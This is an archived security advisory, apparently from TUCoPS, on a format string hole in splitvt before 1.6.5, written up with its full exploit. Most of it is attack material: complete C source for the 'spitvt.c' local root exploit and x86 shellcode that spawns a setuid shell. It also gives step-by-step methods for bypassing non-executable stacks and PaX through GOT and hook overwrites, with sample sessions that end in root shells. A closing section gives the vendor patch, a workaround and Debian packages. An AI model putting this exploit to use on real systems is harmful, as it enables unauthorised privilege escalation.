TUCoPS :: Linux :: Apps N-Z :: splitvt3.htm

Splitvt 1.6.5 format string vuln., multiple buffer overflows
Vulnerability

    splitvt

Affected

    splitvt

Description

    Michel Kaempf found following.   Splitvt is a program that  splits
    any vt100 compatible screen into  two - an upper and  lower window
    in which  you can  run two  programs at  the same  time.   Splitvt
    differs  from  screen  in  that  while  screen  gives you multiple
    virtual screens, splitvt splits your screen into two fully visible
    windows.  You can even use splitvt with screen to provide multiple
    split screens.  This can be very handy when running over a  modem,
    or for developing  client-server applications or  watching routine
    tasks as you work.

    The latest splitvt versions are available via the web at:

        http://www.devolution.com/~slouken/projects/splitvt/

    Versions  <  1.6.5  contain  a  format  string  vulnerability  and
    numerous buffer overflows. As splitvt is installed setuid root  or
    setgid tty or utmp on most  systems, an attacker might be able  to
    successfully exploit one of these vulnerabilities and gain special
    privileges on the local system.

    Although many of the discovered buffer overflows were exploitable,
    the   program   described   here   exploits   the   format  string
    vulnerability present in the parserc.c module:

        sprintf(rcfile_buf, startupfile, home);

    rcfile_buf is a malloced buffer, startupfile is a string  provided
    to splitvt by the user thanks  to the -rcfile option, and home  is
    a pointer to the HOME environment variable.

    The  exploit  should  be  portable  and  even work against systems
    protected with StackGuard, StackShield, OpenWall, PaX or whatever.
    The current version successfully  exploits splitvt on every  Linux
    system (i386,  sparc, etc),  and should  only need  a small amount
    of changes in order to  work against different systems, like  *BSD
    or SunOS  for example.   See the  "Portability" section  below for
    more information.

    The   vulnerability   looks   like   a   classic   format   string
    vulnerability,  and  it  is,  except  one  or  two  details.   The
    *printf()  functions  read  their  arguments  on the stack, and in
    case of  a format  string vulnerability,  they read  the addresses
    where they should  store the number  of characters written  so far
    (the %n arguments) on the stack.  Here, the rcfile_buf is  located
    in the heap and not on the stack, and that is why the %n arguments
    should already be present somewhere  on the stack at the  time the
    guilty sprintf() call is performed.  The exploit stores them among
    the arguments passed to splitvt,  so that they are located  on the
    stack and can contain nul characters.

    The format string  (startupfile) should therefore  force sprintf()
    to eat  every single  byte on  the stack  until it  reaches the %n
    arguments, located somewhere at the  beginning of the stack.   And
    the format  string should  be built  so that  rcfile_buf cannot be
    overflowed, which  could happen  because it  was malloced  to hold
    the format  string, but  not the  *converted* format  string.  The
    solution is  to use  %c, which  is 2  bytes long,  but only 1 byte
    long (one character) once converted.  Thus rcfile_buf will be  big
    enough to hold the converted format string.  And because one %c is
    only 2  bytes long  but actually  eats 4  bytes on  the stack, the
    length of the whole format string is minimized.

    During the design of the exploit, lots of problems arose:
    - On SlackWare for example, /bin/sh (bash) drops privileges before
      actually spawning a shell.  The exploit should therefore fix the
      privileges before running a shell.

    - The  length modifier  hh, described  in printf(3),  did not work
      correctly  on  Linux  i386  systems  when  used along with the n
      conversion specifier (%hhn  behaved just like  %n).  The  latest
      libc release corrects this behaviour, but not everyone runs  the
      latest libc.

    - Something strange is going  on when passing very long  arguments
      to execve() on Linux sparc.   Instead of complaining because  of
      a  too  long  argument  list   like  on  Linux  i386,   execve()
      successfully starts the new  program, but some arguments  passed
      to the program are  overwritten, and some environment  variables
      are lost, but without any notification.

    The  conclusion  was:  in  order  to  build  a portable exploit, a
    flexible mechanism, capable of overwriting an arbitrary number  of
    arbitrary integers in memory with arbitrary integers, was  needed.
    The information the  exploit needs in  order to successfully  work
    are described in the "fixme" section of the code:
    - COMMAND: the command splitvt should run once the terminal  split
      into two windows (see below);

    - HOME_VALUE:  the  value  of  the HOME environment variable  (see
      below);

    - SPLITVT:  the location  of the  setuid or  setgid splitvt binary
      ("/usr/bin/splitvt" on most systems);

    - STACK: the beginning of the stack ((0xc0000000-4) on Linux i386,
      (0xf0000000-8) on Linux sparc for example);

    - n:  an  array  where  each  entry  indicates  an  integer   type
      (short_int  or  signed_char),  a  pointer  to  an  integer to be
      overwritten (pointer)  and the  integer which  should be  stored
      there (number) (see below).

    Besides the "fixme"  section, the exploit  also needs to  know how
    many integers it should eat on the stack: its unique command  line
    argument.

    The  first  obvious  exploitation  method  would be to overwrite a
    function pointer somewhere  in memory (__malloc_hook  for example)
    with a pointer to a shellcode located somewhere on the stack  (the
    HOME environment variable for example).

    Here is how to find out the address of the __malloc_hook  function
    pointer:

        $ cp /usr/bin/splitvt /tmp/splitvt
        $ gdb /tmp/splitvt
        (gdb) break getopt
        (gdb) run
        (gdb) p &__malloc_hook
        0x40140cdc

    Here is the corresponding "fixme" section:

        /* <fixme> */
        #define COMMAND "foobar"
        #define HOME_VALUE \
            /* setuid( 0 ); */ \
            "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
            /* setgid( 0 ); */ \
            "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
            /* Aleph One :) */ \
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
            "\x80\xe8\xdc\xff\xff\xff/bin/sh"
        #define SPLITVT "/usr/bin/splitvt"
        #define STACK (0xc0000000-4)
        n_t n[] = {
            { short_int, (void *)(0x40140cdc+0),
                ((STACK-sizeof(SPLITVT)-sizeof(HOME_VALUE))&0x0000fffc) },
            { short_int, (void *)(0x40140cdc+2),
                ((STACK-sizeof(SPLITVT)-sizeof(HOME_VALUE))&0xffff0000)>>16 },
            { null }
        };
        /* </fixme> */

    COMMAND is  set to  "foobar" because  it does  not matter, splitvt
    will not be  able to reach  the part of  the code which  uses this
    value.  The __malloc_hook function pointer will be overwritten  in
    two passes (two  short ints).   The address of  the shellcode (the
    HOME  environment  variable)  is  computed  so  that it is 4 bytes
    aligned (thus the &0x0000fffc) and split into two short ints.  And
    the final exploitation:

        $ gcc -o spitvt spitvt.c
        $ for i in `seq 8630 8670`; do echo $i; ./spitvt $i; done
        8630
        8631
        8632
        8633
        8634
        8635
        8636
        8637
        8638
        8639
        8640
        8641
        8642
        8643
        8644
        8645
        8646
        8647
        sh-2.03# id
        uid=0(root) gid=0(root)

    The previous method  will not work  on systems patched  with Solar
    Designer's non-executable stack  patch.  But  at the beginning  of
    the rcfile_buf buffer,  located somewhere in  the heap, is  stored
    the content of  the HOME environment  variable.  Thanks  to ltrace
    for example, it is possible to find out the address of  rcfile_buf
    and to exploit splitvt on patched systems:

        $ cp /usr/bin/splitvt /tmp/splitvt
        $ gdb /tmp/splitvt
        (gdb) break getopt
        (gdb) run
        (gdb) p &__free_hook
        0x255cd8

        $ ltrace /tmp/splitvt 2>&1 | grep malloc
        0x0805f958

        /* <fixme> */
        #define COMMAND "foobar"
        #define HOME_VALUE \
            /* setuid( 0 ); */ \
            "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
            /* setgid( 0 ); */ \
            "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
            /* Aleph One :) */ \
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
            "\x80\xe8\xdc\xff\xff\xff/bin/sh"
        #define SPLITVT "/usr/bin/splitvt"
        #define STACK (0xc0000000-4)
        n_t n[] = {
            { short_int, (void *)(0x255cd8+0), /*0805*/0xf958 },
            { short_int, (void *)(0x255cd8+2), 0x0805/*f958*/ },
            { null }
        };
        /* </fixme> */

        $ gcc -o spitvt spitvt.c
        $ ./spitvt 8659
        sh-2.03# id
        uid=0(root) gid=0(root)

    The previous  method will  not work  against systems  patched with
    PaX.   Therefore  the  exploit  has  to use return-into-libc style
    attacks.   For  example,  the  library  call  following the guilty
    sprintf() call is:

        open(rcfile_buf, O_RDONLY, 0)

    Fortunately,  O_RDONLY  is  equal  to  0,  so that, if the exploit
    manages to replace the open() function with the execve() function,
    the   previous   library   call    would   actually   result    in
    execve(rcfile_buf, NULL, NULL).

    The exploit should overwrite  the GOT (Global Offset  Table) entry
    of the open() function with the address of the execve()  function,
    and make  sure rcfile_buf  contains a  valid filename  (rcfile_buf
    holds the HOME environment variable and garbage (the converted  %c
    characters)...  thus  the  exploit  has  to nul terminate the HOME
    string (thanks to a third entry in the n array) in order to create
    a valid filename):

        $ objdump -R /usr/bin/splitvt | grep open
        08052f40

        $ cp /usr/bin/splitvt /tmp/splitvt
        $ gdb /tmp/splitvt
        (gdb) break getopt
        (gdb) run
        (gdb) p execve
        0x400ec178

        $ ltrace /tmp/splitvt 2>&1 | grep malloc
        0x0805f958

        $ gcc -o /tmp/sh /tmp/sh.c
        $ cat /tmp/sh.c
        #include <unistd.h>
        int main()
        {
            char * argv[] = { "/bin/sh", NULL };
            setuid( 0 );
            setgid( 0 );
            execve( argv[0], argv, NULL );
            return( -1 );
        }

        /* <fixme> */
        #define COMMAND "foobar"
        #define HOME_VALUE "/tmp/sh"
        #define SPLITVT "/usr/bin/splitvt"
        #define STACK (0xc0000000-4)
        n_t n[] = {
            { short_int, (void *)(0x08052f40 + 0), /*400e*/0xc178 },
            { short_int, (void *)(0x08052f40 + 2), 0x400e/*c178*/ },
            { signed_char, (void *)(0x0805f958 + sizeof(HOME_VALUE) - 1), 0 },
            { null }
        };
        /* </fixme> */

        $ gcc -o spitvt spitvt.c
        $ ./spitvt 8658
        sh-2.03# id
        uid=0(root) gid=0(root)

    But wait... thanks to splitvt,  it is possible to obtain  two root
    shells for the price of one.  The exploit has to make sure splitvt
    does  not  drop  the  privileges  before  spawning  the shells, by
    replacing the call to setuid (or setgid, depending on the  splitvt
    binary) with a harmless call, to getuid for example:

        $ objdump -R /usr/bin/splitvt | grep setuid
        08052f78

        $ objdump -T /usr/bin/splitvt | grep getuid
        08049250

        /* <fixme> */
        #define COMMAND "/tmp/sh"
        #define HOME_VALUE "foobar"
        #define SPLITVT "/usr/bin/splitvt"
        #define STACK (0xc0000000-4)
        n_t n[] = {
            { short_int, (void *)(0x08052f78 + 0), /*0804*/0x9250 },
            { short_int, (void *)(0x08052f78 + 2), 0x0804/*9250*/ },
            { null }
        };
        /* </fixme> */

        $ gcc -o spitvt spitvt.c
        $ ./spitvt 8659

    Gotcha!

    Another method, which will only  work on systems where splitvt  is
    setuid root, is  to replace the  call to getuid()  with a call  to
    sync(), a harmless function which always returns 0:

        $ objdump -R /usr/bin/splitvt | grep getuid
        08052f30

        $ cp /usr/bin/splitvt /tmp/splitvt
        $ gdb /tmp/splitvt
        (gdb) break getopt
        (gdb) run
        (gdb) p sync
        0x40105b80

        /* <fixme> */
        #define COMMAND "/bin/sh"
        #define HOME_VALUE "foobar"
        #define SPLITVT "/usr/bin/splitvt"
        #define STACK (0xc0000000-4)
        n_t n[] = {
            { short_int, (void *)(0x08052f30 + 0), /*4010*/0x5b80 },
            { short_int, (void *)(0x08052f30 + 2), 0x4010/*5b80*/ },
            { null }
        };
        /* </fixme> */

        $ gcc -o spitvt spitvt.c
        $ ./spitvt 8659

    Gotcha!

    That was for Linux i386.   What about Linux sparc?  The  shellcode
    techniques (stack and heap)  presented above work on  Linux sparc.
    The return-into-libc attacks however will not if applied  directly
    to  the  sparc  architecture,  because  of  the differences in the
    dynamic  linking  process:  on  sparc,  there  is  no  GOT.   When
    disassembling  the  code   corresponding  to  dynamically   linked
    functions before the shared libraries are loaded:

        $ ls -l /usr/bin/splitvt
        -rwxr-sr-x    1 root     utmp        50824 Jun 28  2000 /usr/bin/splitvt

        $ cp /usr/bin/splitvt /tmp/splitvt
        $ gdb /tmp/splitvt
        (gdb) disass setgid
        Dump of assembler code for function setgid:
        0x2beac <setgid>:       sethi  %hi(0x48000), %g1
        0x2beb0 <setgid+4>:     b,a   0x2bd8c <_IO_stdin_used+72780>
        0x2beb4 <setgid+8>:     nop
        End of assembler dump.
        (gdb) disass getgid
        Dump of assembler code for function getgid:
        0x2c014 <getgid>:       sethi  %hi(0xa2000), %g1
        0x2c018 <getgid+4>:     b,a   0x2bd8c <_IO_stdin_used+72780>
        0x2c01c <getgid+8>:     nop
        End of assembler dump.

    The code  of the  setgid() and  getgid() functions  is exactly the
    same, except the value of the second short int:

        (gdb) x 0x2beac
        0x2beac <setgid>:       0x03000120
        (gdb) x 0x2c014
        0x2c014 <getgid>:       0x03000288

    If the  exploit replaces  0x0120 at  the address  (0x2beac+2) with
    0x0288, splitvt  should not  drop the  privileges before  spawning
    the shells:

        /* <fixme> */
        #define COMMAND "/bin/sh"
        #define HOME_VALUE "foobar"
        #define SPLITVT "/usr/bin/splitvt"
        #define STACK (0xf0000000-8)
        n_t n[] = {
            { signed_char, (void *)(0x2beac+2), 0x02 },
            { signed_char, (void *)(0x2beac+3), 0x88 },
            { null }
        };
        /* </fixme> */

    Because of the  potential very long  arguments described above  in
    the "Further down the  spiral" section, the signed_char  mechanism
    was used instead of the short_int mechanism.

        $ gcc -o spitvt spitvt.c
        $ ./spitvt 8715
        sh-2.04$ id
        egid=43(utmp)

    Gotcha!

    The exploit is  already almost portable,  but in order  to work on
    operating systems different from Linux,  a few changes have to  be
    made:  the stack layout has to be known, because sometimes 4 bytes
    and 16 bytes alignment is  required (see the "Code" section  below
    for more information).

    Therefore, each time the symbolic constant STACK appears, there is
    something to adjust in the exploit.

    The code:

    /*
     * MasterSecuritY <www.mastersecurity.fr>
     *
     * spitvt.c - Local exploit for splitvt < 1.6.5
     * Copyright (C) 2001  fish stiqz <fish@analog.org>
     * Copyright (C) 2001  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
     *
     * Updated versions of this exploit and the corresponding advisory will
     * be made available at:
     *
     * ftp://maxx.via.ecp.fr/spitvt/
     *
     * This program is free software; you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation; either version 2 of the License, or (at
     * your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
     * General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program; if not, write to the Free Software
     * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
     * USA
     */

    #include <limits.h>
    #include <stdint.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    /* array_of_strings_t */
    typedef struct array_of_strings_s {
        size_t strings;
        char ** array;
    } array_of_strings_t;

    /* type_t */
    typedef enum {
        short_int,
        signed_char,
        null
    } type_t;

    /* n_t */
    typedef struct n_s {
        type_t type;
        void * pointer;
        int number;
    } n_t;

    /* <fixme> */
    #define COMMAND ""
    #define HOME_VALUE ""
    #define SPLITVT ""
    #define STACK ()
    n_t n[] = {
        { null }
    };
    /* </fixme> */

    unsigned long int eat;
    array_of_strings_t aos_envp = { 0, NULL };
    array_of_strings_t aos_argv = { 0, NULL };

    /* array_of_strings() */
    int array_of_strings( array_of_strings_t * p_aos, char * string )
    {
        size_t strings;
        char ** array;

        if ( p_aos->strings == SIZE_MAX / sizeof(char *) ) {
            return( -1 );
        }
        strings = p_aos->strings + 1;

        array = realloc( p_aos->array, strings * sizeof(char *) );
        if ( array == NULL ) {
            return( -1 );
        }

        (p_aos->array = array)[ p_aos->strings++ ] = string;
        return( 0 );
    }

    #define HOME_KEY "HOME"
    /* home() */
    int home()
    {
        char * home;
        unsigned int envp_home;
        unsigned int i;

        home = malloc( sizeof(HOME_KEY) + sizeof(HOME_VALUE) + (4-1) );
        if ( home == NULL ) {
            return( -1 );
        }

        strcpy( home, HOME_KEY"="HOME_VALUE );

        /* if HOME_VALUE holds a shellcode and is to be executed, 4 bytes
         * alignment is sometimes required (on sparc architectures for
         * example) */
        envp_home = STACK - sizeof(SPLITVT) - sizeof(HOME_VALUE);
        for ( i = 0; i < envp_home % 4; i++ ) {
            strcat( home, "X" );
        }

        return( array_of_strings(&aos_envp, home) );
    }

    /* shell() */
    int shell()
    {
        size_t size;
        unsigned int i;
        char * shell;
        char * string;

        size = 0;
        for ( i = 0; n[i].type != null; i++ ) {
            size += sizeof(void *);
        }

        shell = malloc( size + 3 + 1 );
        if ( shell == NULL ) {
            return( -1 );
        }

        for ( i = 0; n[i].type != null; i++ ) {
            *( (void **)shell + i ) = n[i].pointer;
        }

        /* since file is 16 bytes aligned on the stack, the following 3
         * characters padding ensures shell is 4 bytes aligned */
        for ( i = 0; i < 3; i++ ) {
            shell[ size + i ] = 'X';
        }

        shell[ size + i ] = '\0';

        for ( string = shell; string <= shell+size+i; string += strlen(string)+1 ) {
            if ( array_of_strings(&aos_argv, string) ) {
                return( -1 );
            }
        }

        return( 0 );
    }

    #define S "%s"
    #define C "%c"
    #define HN "%hn"
    #define HHN "%hhn"
    /* file() */
    int file()
    {
        size_t size;
        unsigned int i, j;
        char * file;
        int number;
        unsigned int argv_file;

        size = (sizeof(S)-1) + (eat * (sizeof(C)-1));
        for ( i = 0; n[i].type != null; i++ ) {
            switch ( n[i].type ) {
                case short_int:
                    /* at most USHRT_MAX 'X's are needed */
                    size += USHRT_MAX + (sizeof(HN)-1);
                    break;

                case signed_char:
                    /* at most UCHAR_MAX 'X's are needed */
                    size += UCHAR_MAX + (sizeof(HHN)-1);
                    break;

                case null:
                default:
                    return( -1 );
            }
        }

        file = malloc( size + (16-1) + 1 );
        if ( file == NULL ) {
            return( -1 );
        }

        i = 0;

        memcpy( file + i, S, sizeof(S)-1 );
        i += sizeof(S)-1;

        for ( j = 0; j < eat; j++ ) {
            memcpy( file + i, C, sizeof(C)-1 );
            i += sizeof(C)-1;
        }

        /* initialize number to the number of characters written so far
         * (aos_envp.array[aos_envp.strings-2] corresponds to the HOME
         * environment variable) */
        number = strlen(aos_envp.array[aos_envp.strings-2])-sizeof(HOME_KEY) + eat;

        for ( j = 0; n[j].type != null; j++ ) {
            switch ( n[j].type ) {
                case short_int:
                    while ( (short int)number != (short int)n[j].number ) {
                        file[ i++ ] = 'X';
                        number += 1;
                    }
                    memcpy( file + i, HN, sizeof(HN)-1 );
                    i += sizeof(HN)-1;
                    break;

                case signed_char:
                    while ( (signed char)number != (signed char)n[j].number ) {
                        file[ i++ ] = 'X';
                        number += 1;
                    }
                    memcpy( file + i, HHN, sizeof(HHN)-1 );
                    i += sizeof(HHN)-1;
                    break;

                case null:
                default:
                    return( -1 );
            }
        }

        /* in order to maintain a constant distance between the sprintf()
         * arguments and the splitvt shell argument, 16 bytes alignment is
         * sometimes required (for ELF binaries for example) */
        argv_file = STACK - sizeof(SPLITVT);
        for ( j = 0; aos_envp.array[j] != NULL; j++ ) {
            argv_file -= strlen( aos_envp.array[j] ) + 1;
        }
        argv_file -= i + 1;
        for ( j = 0; j < argv_file % 16; j++ ) {
            file[ i++ ] = 'X';
        }

        file[ i ] = '\0';

        return( array_of_strings(&aos_argv, file) );
    }

    /* main() */
    int main( int argc, char * argv[] )
    {
        /* eat */
        if ( argc != 2 ) {
            return( -1 );
        }
        eat = strtoul( argv[1], NULL, 0 );

        /* aos_envp */
        array_of_strings( &aos_envp, "TERM=vt100" );
        /* home() should always be called right before NULL is added to
         * aos_envp */
        if ( home() ) {
            return( -1 );
        }
        array_of_strings( &aos_envp, NULL );

        /* aos_argv */
        array_of_strings( &aos_argv, SPLITVT );
        array_of_strings( &aos_argv, "-upper" );
        array_of_strings( &aos_argv, COMMAND );
        array_of_strings( &aos_argv, "-lower" );
        array_of_strings( &aos_argv, COMMAND );
        /* shell() should always be called right before "-rcfile" is added
         * to aos_argv */
        if ( shell() ) {
            return( -1 );
        }
        array_of_strings( &aos_argv, "-rcfile" );
        /* file() should always be called right after "-rcfile" is added to
         * aos_argv and right before NULL is added to aos_argv */
        if ( file() ) {
            return( -1 );
        }
        array_of_strings( &aos_argv, NULL );

        /* execve() */
        execve( aos_argv.array[0], aos_argv.array, aos_envp.array );
        return( -1 );
    }

Solution

    Sam Lantinga,  the author,  was contacted  and a  patch fixing the
    exploitable and  potential holes  found in  splitvt was  provided.
    He released a new splitvt version, 1.6.5, based on this patch.

    As  workaround,  remove  the  setuid  or  setgid bit from splitvt,
    because as mentioned in the splitvt ANNOUNCE file:

        The set-uid bit is only for updating the utmp database and for
        changing  ownership  of  its  pseudo-terminals.   It  is   not
        necessary for splitvt's operation.

    For Debian:

        http://security.debian.org/dists/stable/updates/main/source/splitvt_1.6.5-0potato1.diff.gz
        http://security.debian.org/dists/stable/updates/main/source/splitvt_1.6.5-0potato1.dsc
        http://security.debian.org/dists/stable/updates/main/source/splitvt_1.6.5.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-i386/splitvt_1.6.5-0potato1_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/splitvt_1.6.5-0potato1_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/splitvt_1.6.5-0potato1_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-alpha/splitvt_1.6.5-0potato1_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/splitvt_1.6.5-0potato1_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/splitvt_1.6.5-0potato1_arm.deb

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH